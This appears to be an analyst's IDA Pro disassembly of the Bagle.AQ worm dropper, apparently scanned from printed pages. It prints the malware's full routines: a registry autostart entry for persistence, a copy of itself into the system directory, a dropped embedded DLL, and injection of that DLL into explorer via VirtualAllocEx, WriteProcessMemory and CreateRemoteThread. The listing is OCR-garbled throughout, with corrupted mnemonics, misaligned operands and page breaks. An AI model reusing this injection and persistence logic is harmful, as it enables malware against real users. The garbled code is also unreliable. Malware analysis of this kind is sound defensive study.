## ida\_pro\_work.txt

```
// Author: Vinay A. Mahadik
                       : D:\Security\VirusWorms\Bagle_AQ\price.xe
00401000 ; File Name
00401000
           Format
                        : Portable executable for IBM PC (PE)
           Section 1. (virtual address 00001000)
00401000
           Virtual sizè
                                            00000388 (
00401000
                                                           904.)
00401000
           Section size in file
                                            00000400 (
                                                          1024.)
           Offset to raw data for section: 00000200
00401000 :
           Flags E0000020: Text Executable Readable Writable
00401000
00401000 ; Alignment
                         : 16 bytes ?
00401000
                         model flat
00401000
00401000
00401000 :
00401000
00401000 ; Segment type: Pure code
                          segment para public 'CODE' use32
00401000 _text
00401000
                          assume cs:_text
00401000
                          ;org 401000h
00401000
                          assume es:nothing, ss:nothing, ds:_data, fs:nothing,
gs:nothing
00401000
00401000 ; ||||||||||| S U В К U U
                          SUBROUTINE
00401000
00401000; Attributes: bp-based frame
00401000
                                                   ; CODE XREF: stealth_payload+110p
00401000 fnd_addrs
                         proc near
00401000
00401000 lpLibFileName
                          = dword ptr
00401000 arg_4
                          = dword ptr
                                       0Ch
00401000
                          push
00401000
                                  ebp
00401001
                          mov
                                  ebp, esp
00401003
                          push
                                  esi
00401004
                          push
                                  edi
                          push
00401005
                                  ebx
                                  edi,
00401006
                                       [ebp+lpLibFileName]
                          mov
                                  esi,
                                       [ebp+arg_4]
00401009
                          mov
                                                   ; lpLibFileName
0040100C
                                  edi
                          push
0040100D
                          call
                                  LoadLibraryA
00401012
                          test
                                  eax, eax
                                  short quit
00401014
                          İΖ
00401016
                          xchq
                                  eax, ebx
00401017
00401017 loc_401017:
                                                   ; CODE XREF: fnd_addrs+330j
00401017
                          cld
00401018
                          xor
                                  eax, eax
                                  ecx, Offfffffh
0040101A
                          or
0040101D
                          repne scasb
                                  byte ptr [edi], 0; End of string?
0040101F
                          cmp
00401022
                                  short ret_1
                          jΖ
00401024
                          push
                                  edi
                                                    lpProcName
                                                   ; hModule
00401025
                          push
                                  ebx
00401026
                          call
                                  GetProcAddress
0040102B
                          mov
                                  [esi], eax
0040102D
                          test
                                  eax, eax
                                  short quit
0040102F
                          Ĭodsd
00401031
00401032
                          nop
00401033
                                  short loc_401017
                          jmp
00401035 ;
```

Page 1

## ida\_pro\_work.txt

```
00401035
00401035 ret_1:
                                                   ; CODE XREF: fnd_addrs+220j
00401035
                          mov
                                  eax, 1
0040103A
0040103A quit:
                                                    CODE XREF: fnd_addrs+140j
0040103A
                                                   ; fnd_addrs+2F□j
0040103A
                                  ebx
                          pop
0040103B
                                  edi
                          pop
0040103C
                          pop
                                  esi
0040103D
                          leave
0040103E
                          retn
                                  8
0040103E fnd_addrs
                          endp
0040103E
00401041
SUBROUTINE
00401041; Attributes: bp-based frame
00401041
00401041 drop_payload
                         proc near
                                                   ; CODE XREF: start+E3□p
00401041
00401041 NumberOfBytesWritten= byte ptr -8
00401041 hObject
                      = dword ptr -4
00401041 lpFileName
                         = dword ptr 8
00401041 lpBuffer
                         = dword ptr
                                       0Ch
00401041 nNumberOfBytesToWrite= dword ptr
                                            10h
00401041
00401041
                          push
                                  ebp
00401042
                                  ebp, esp
esp, OFFFFFF8h
                          mov
00401044
                          add
00401047
                                                     hTemplateFile
                          push
00401049
                                                     dwFlagsAndAttributes
                          push
                                  0
                                  2
                                                     dwCreationDisposition
0040104B
                          push
                                  0
0040104D
                                                     lpSecuritvAttributes
                          push
0040104F
                                  3
                                                     dwShareMode
                          push
00401051
                                  40000000h
                          push
                                                     dwDesiredAccess
00401056
                          push
                                  [ebp+lpFileName] ; lpFileName
00401059
                          call
                                  CreateFileA
0040105E
                          mov
                                  [ebp+hObject], eax
00401061
                          inc
00401062
                                  short create_suc
                          jnz
00401064
                          Teave
00401065
                                  0Ch
                          retn
00401068 ;
00401068
                                                   ; CODE XREF: drop_payload+210j; lpOverlapped
00401068 create_suc:
00401068
                          push
                                  eax, [ebp+NumberOfBytesWritten]
0040106A
                          lea
                                                   ; lpNumberOfBytesWritten
0040106D
                          push
                                  eax
0040106E
                                  [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite
                          push

'; lpBuffer
'; hFile
00401071
                          push
                                  [ebp+lpBuffer]
00401074
                          push
                                  [ebp+hObject]
                                  WriteFile
00401077
                          call
                                  [ebp+hObject]
0040107C
                          push
                                                   ; hObject
0040107F
                          call
                                  CloseHandle
00401084
                          mov
                                  eax, 1
00401089
                          leave
0040108A
                          retn
                                  0Ch
0040108A drop_payload
                          endo
0040108A
0040108D
```

```
ida_pro_work.txt
0040108D ; | | | | | | | | | | | | | S U B K U U
                            SUBROUTINE
0040108D
0040108D ; Attributes: bp-based frame
0040108D
0040108D stealth_payload proc near
                                                    ; CODE XREF: start+10E□p
0040108D
0040108D ExitCode
                          = dword ptr -18h
0040108D hObject
                          = dword ptr -14h
0040108D var_10
                          = byte ptr -10h
                          = dword ptr -0Ch
0040108D var_C
0040108D var_8
                          = dword ptr -8
0040108D var_4
                          = dword ptr -4
0040108D dwProcessId
                          = dword ptr
                                        8
0040108D lpString
                                        0Ch
                          = dword ptr
0040108D
0040108D
                          push
                                   ebp
0040108E
                          mov
                                   ebp, esp
00401090
                          add
                                   esp, OFFFFFE8h
00401093
                          push
                                   ebx
                          push
00401094
                                   offset aVirtualAlloc
                                   offset aKernel32_dll ; "kernel32.dll"
00401099
                          push
                                   fnd_addrs
0040109E
                          call
004010A3
                          or
                                   eax, eax
004010A5
                                   11
                          jΖ
004010AB
                          push
                                   [ebp+dwProcessId] ; dwProcessId
004010AE
                          push
                                   0
                                                      bInheritHandle
004010B0
                          push
                                   43Ah
                                                      dwDesiredAccess
004010B5
                          call
                                   OpenProcess
004010BA
                          mov
                                   [ebp+var_4], eax
                                   eax, eax
done2
004010BD
                           test
004010BF
                          jΖ
004010C5
                                   [ebp+lpString] ; lpString
                          push
004010C8
                          call
                                   lstrlenA
004010CD
                                   [ebp+var_C], eax
                          mov
004010D0
                          push
                                   1000h
004010D2
                          push
004010D7
                          push
                                   [ebp+var_C]
                          push
004010DA
004010DC
                          push
                                   [ebp+var_4]
                                   āVirtualAlloc
004010DF
                          call
004010E5
                                   [ebp+var_8], eax
                          mov
                          xor
004010E8
                                   ebx, ebx
                                   eax, eax
004010EA
                          or
                                   short c_hdl
004010EC
                          jΖ
004010EE
                          push
                                   [ebp+var_C]
004010F0
                          push
004010F3
                          push
                                    ebp+lpString]
004010F6
                          push
                                   [ebp+var_8]
004010F9
                                   [ebp+var_4]
                          push
004010FC
                          call
                                   āWrtPrcMem
00401102
                          or
                                   eax, eax
                                   short pre_c_hdl
00401104
                          jΖ
00401106
                          push
                                   offset aKernel32_dll ; lpModuleName
0040110B
                                   GetModuleHandleA
                          call
                                   offset aLoadlibrarya; lpProcName
00401110
                          push
00401115
                          push
                                                    ; hModule
                                   GetProcAddress
00401116
                          call
0040111B
                          1ea
                                   edx, [ebp+var_10]
0040111E
                          push
                                   edx
0040111F
                          push
                                   0
00401121
                                   [ebp+var_8]
                          push
00401124
                          push
                                   eax
                                         Page 3
```

```
ida_pro_work.txt
00401125
                         push
00401127
                         push
                                 0
00401129
                         push
                                  [ebp+var_4]
0040112C
                         call
                                  aCrtRemTh
00401132
                         mov
                                  [ebp+hObject], eax
                                 eax, eax short pre_c_hdl
00401135
                         or
00401137
                         jΖ
                                                 ; dwMilliseconds
                                 OFFFFFFFF _
00401139
                         push
                                  [ebp+hObject]
0040113B
                         push
                                                  ; hHandle
                                 WaitForSingleObject
0040113E
                         call
00401143
                         lea
                                 eax, [ebp+ExitCode]
                                                  ; <u>Īp</u>ExitCode
00401146
                         push
                                 eax
00401147
                                  [ebp+hObject]
                                                    hThread
                         push
0040114A
                                 GetExitCodeThread
                         call
                                 ebx, [ebp+ExitCode]
[ebp+hObject] ; h
0040114F
                         mov
00401152
                         push
                                                 ; hObject
00401155
                         call
                                 CloseHandle
0040115A
0040115A pre_c_hdl:
                                                  ; CODE XREF: stealth_payload+770j
0040115A
                                                  ; stealth_payload+AADj
0040115A
                                 8000h
                         push
0040115F
                         push
00401161
                                  [ebp+var_8]
                         push
00401164
                                  [ebp+var_4]
                         push
00401167
                                 aVirtualFree
                         call
0040116D
                                                  ; CODE XREF: stealth_payload+5F□j; hObject
0040116D c_hdl:
0040116D
                         push
                                 [ebp+var_4]
00401170
                         call
                                 CloseHandle
                                 eax, ebx
00401175
                         mov
00401177
00401177 done2:
                                                  ; CODE XREF: stealth_payload+320j
00401177
                         jmp
                                 short done
00401179 ;
             ______
00401179
                                 ; CODE XREF: stealth_payload+18[]j offset_dll_fn ; lpLibFileName
00401179 11:
                         push
00401179
0040117E
                         call
                                 LoadLibraryA
                                 eax, eax short done
00401183
                         or
00401185
                         jΖ
00401187
                                                  ; CODE XREF: stealth_payload+1040j
00401187 slp_loop:
                                 2710h
00401187
                         push
                                                  : dwMilliseconds
                         call
                                 Sleep
0040118C
00401191
                         jmp
                                 short slp_loop
00401193 ;
00401193
00401193 done:
                                                  ; CODE XREF: stealth_payload+EADj
                                                  ; stealth_payload+F8□j
00401193
00401193
                         pop
                                 ebx
00401194
                         leave
00401195
                         retn
                                 8
00401195 stealth_payload endp
00401195
00401198
00401198
00401198; Attributes: bp-based frame
00401198
00401198 reg_auto_start proc near
                                                  ; CODE XREF: start+340p
                                        Page 4
```

```
ida_pro_work.txt
00401198
                                                      ; start+3E□p
00401198
                           = dword ptr -4
00401198 phkResult
00401198 hKey
                           = dword ptr 8
00401198
00401198
                                    ebp
                           push
00401199
                           mov
                                    ebp, esp
0040119B
                           add
                                    esp, OFFFFFFCh
0040119E
                           1ea
                                    eax, [ebp+phkResult]
004011A1
                                                      ; phkResult
                           push
                                    eax
                                    offset aSoftwareMicros; lpSubKey
004011A2
                           push
                                    [ebp+hKey]
                                                    ; hKey
004011A7
                           push
004011AA
                                    ReaCreateKevA
                           call
004011AF
                           push
                                    offset windir_fn ; lpString
004011B4
                           call
                                    lstrlenA
004011B9
                           inc
                                    eax
004011BA
                           push
                                    eax
                                                      ; cbData
                                    offset windir_fn ; <u>lp</u>Data
004011BB
                           push
                                                      ; dwType
004011C0
                           push
004011C2
                                    0
                                                      ; Reserved
                           push
                           push
                                    offset aWin_upd2_exe ; lpValueName
004011C4
004011C9
                           push
                                    [ebp+phkResult] ; hKey
                                    RegSetValueExA
004011cc
                           call
004011D1
                                    [ebp+phkResult]; hKey
                           push
004011D4
                           call
                                    RegCloseKey
004011D9
                           leave
                                    4
004011DA
                           retn
004011DA reg_auto_start endp
004011DA
004011DD
SUBROUTINE
004011DD
004011DD
                           public start
004011DD start
                           proc near
                                    104h ; uSize offset windir_fn ; lpBuffer
004011DD
                           push
004011E2
                           push
                                    GetSystemDirectoryA
004011E7
                           call
                                    offset aWindirect_exe ; lpString2
offset windir_fn ; lpString1
004011EC
                           push
004011F1
                           push
004011F6
                           call
                                    lstrcatA
                           push
                                                      ; nSize
004011FB
                                    104h
                                    offset curexe_fn ; lpFilename 0 ; hModule
00401200
                           push
00401205
                           push
00401207
                                    GetModuleFileNameA
                           call
0040120C
                                    8000001h
                           push
00401211
                           call
                                    reg_auto_start
                                    80000002h
00401216
                           push
0040121B
                           call
                                    reg_auto_start
                                    offset windir_fn ; lpString2
00401220
                           push
                                    offset curexe_fn ; lpString1
                           push
00401225
0040122A
                           call
                                    lstrcmpiA
0040122F
                           or
                                    eax, eax
00401231
                                    short are_same
                           jΖ
                           push
                                    80h ; dwFileAttributes offset windir_fn ; lpFileName
00401233
00401238
                           push
0040123D
                           call
                                    SetFileAttributesA
                                    0 ; bFailIfExists
offset windir_fn ; lpNewFileName
offset_curexe_fn ; lpExistingFileName
00401242
                           push
00401244
                           push
                           push
00401249
0040124E
                           call
                                    CopyFileA
00401253
                           or
                                    eax, eax
                                           Page 5
```

```
ida_pro_work.txt
00401255
                            jΖ
                                     short xit
                                    80h ; dwFileAttributes offset windir_fn ; lpFileName
00401257
                            push
0040125C
                            push
00401261
                            call
                                     SetFileAttributesA
00401266
                            push
                                     0
                                                         nShowCmd
00401268
                                     0
                                                         1pDirectory
                            push
0040126A
                                                         lpParameters
                            push
                                     0
                                    offset windir_fn ; lpFile offset aOpen ; lpOperation
0040126C
                            push
00401271
                            push
00401276
                                                       ; hwnd
                            push
00401278
                            call
                                     Shell ExecuteA
0040127D
                                                       ; CODE XREF: start+78□j
0040127D xit:
0040127D
                            push
                                                       : uExitCode
                                     ExitProcess
0040127F
                            call
00401284
00401284 are_same:
                                                       ; CODE XREF: start+540j
00401284
                            push
                                     104h
                                                         uSize
00401289
                                     offset _dll_fn
                                                       ; lpBuffer
                            push
0040128E
                            call
                                     GetSystemDirectoryA
                                     offset a_dll_exe ; lpString2 offset _dll_fn ; lpString1
                            push
00401293
00401298
                            push
0040129D
                            call
                                     lstrcatA
004012A2
                                                       ; dwFileAttributes
                                     80h
                            push
                                     offset _dll_fn
004012A7
                            push
                                                      ; lpFileName
                                     SetFileAttributesA
004012AC
                            call
004012B1
                            push
                                     2E00h
004012B6
                                     offset aMzr
                            push
004012BB
                                     offset _dll_fn
                            push
004012C0
                            call
                                     drop_payload
                                     eax, eax
short loc_4012F0
004012C5
                            or
004012C7
                            jΖ
004012C9
                                                       ; lpWindowName
                            push
                            push
004012CB
                                     offset aShell_traywnd ; lpClassName
004012D0
                            call
                                     FindWindowA
                                     offset lpdwProcessId; lpdwProcessId
004012D5
                            push
004012DA
                            push
                                                       ; hWnd
                                     GetWindowThreadProcessId
004012DB
                            call
                                     offset _dll_fn
004012E0
                            push
004012E5
                            push
                                     lpdwProcessId
004012EB
                                     stealth_payload
                            call
004012F0
004012F0 loc_4012F0:
                                                       ; CODE XREF: start+EA□j
004012F0
                            push
                                                       ; uExitCode
                                     ExitProcess
004012F2
                            call
004012F7
                            int
                                                       ; Trap to Debugger
004012F7 start
                            endp
004012F7
```